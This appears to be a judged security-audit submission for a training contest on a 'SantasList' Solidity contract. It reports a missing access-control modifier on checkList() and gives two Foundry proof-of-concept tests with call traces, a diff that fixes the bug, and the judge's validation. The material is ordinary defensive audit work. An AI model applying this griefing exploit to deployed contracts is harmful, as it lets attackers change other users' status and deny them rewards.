Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Missing onlySanta() modifier in a function only callable by santa.

Summary

SantasList::checkList function which is meant to be called by only santa was left to be called by any user interracting with santalist.

Vulnerability Details

the SantasList::checklist function was stated in the comment that it can only be called by santa here but unfortunately was left open to users. The function give users to set themselves to any enum attributes they desired for themselves or change the status of other user to Good or Bad without approval or confirmation from santa .

Impact

  1. users can decide to give themselves their desired attributes which is not backed by confirmation of the santa.

  2. Grief users have the power to set other users attribute to NAUGHTY to stop them from getting any present from santaList.

POC1

function testCheckListCalledByUser() public {
vm.prank(user);
santasList.checkList(user, SantasList.Status.NICE);
assertEq(
uint256(santasList.getNaughtyOrNiceOnce(user)),
uint256(SantasList.Status.NICE)
);
}

Add the above test to santaList.t.sol and test them with forge t --mt testCheckListCalledByUser -vvvvv
below is the output of the call trace

[16037] SantasListTest::testCheckListCalledByUser()
├─ [0] VM::prank(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D])
│ └─ ← ()
├─ [4211] SantasList::checkList(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], 0)
│ ├─ emit CheckedOnce(person: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], status: 0)
│ └─ ← ()
├─ [690] SantasList::getNaughtyOrNiceOnce(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D]) [staticcall]
│ └─ ← 0
└─ ← ()

POC2

function testgriefUserStopedUserfromCollectPresent() public {
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.NICE);
santasList.checkTwice(user, SantasList.Status.NICE);
vm.stopPrank();
//grief user stopping other user from claiming present
address griefUser = makeAddr("griefUser");
vm.prank(griefUser);
santasList.checkList(user, SantasList.Status.NAUGHTY);
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
vm.startPrank(user);
vm.expectRevert(SantasList.SantasList__NotNice.selector);
santasList.collectPresent();
vm.stopPrank();
}

Also add the above function to santaList.t.sol and test with forge t --mt testgriefUserStopedUserfromCollectPresent -vvvvv to test for a grief user stopping another user from claiming his present
call trace below

[53105] SantasListTest::testgriefUserStopedUserfromCollectPresent()
├─ [0] VM::startPrank(santa: [0x70C9C64bFC5eD9611F397B04bc9DF67eb30e0FcF])
│ └─ ← ()
├─ [4211] SantasList::checkList(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], 0)
│ ├─ emit CheckedOnce(person: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], status: 0)
│ └─ ← ()
├─ [4519] SantasList::checkTwice(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], 0)
│ ├─ emit CheckedTwice(person: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], status: 0)
│ └─ ← ()
├─ [0] VM::stopPrank()
│ └─ ← ()
├─ [0] VM::addr(<pk>) [staticcall]
│ └─ ← griefUser: [0x2c0DB1460A017A7DE1c2F9CB0F3aE9430DD8c5f6]
├─ [0] VM::label(griefUser: [0x2c0DB1460A017A7DE1c2F9CB0F3aE9430DD8c5f6], griefUser)
│ └─ ← ()
├─ [0] VM::prank(griefUser: [0x2c0DB1460A017A7DE1c2F9CB0F3aE9430DD8c5f6])
│ └─ ← ()
├─ [22111] SantasList::checkList(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], 2)
│ ├─ emit CheckedOnce(person: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], status: 2)
│ └─ ← ()
├─ [283] SantasList::CHRISTMAS_2023_BLOCK_TIME() [staticcall]
│ └─ ← 1703480381 [1.703e9]
├─ [0] VM::warp(1703480382 [1.703e9])
│ └─ ← ()
├─ [0] VM::startPrank(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D])
│ └─ ← ()
├─ [0] VM::expectRevert(SantasList__NotNice())
│ └─ ← ()
├─ [3023] SantasList::collectPresent()
│ └─ ← "SantasList__NotNice()"
├─ [0] VM::stopPrank()
│ └─ ← ()
└─ ← ()

Tools Used

Manual Review and Foundry

Recommendations

SantasList::checklist should be guarded properly to give only santa the authourity to call the function.

- function checkList(address person, Status status) external {
+ function checkList(address person, Status status) external onlySanta {
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Access Control on checkList()

Anyone is able to call checkList() changing the status of a provided address. This is not intended functionality and is meant to be callable by only Santa.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.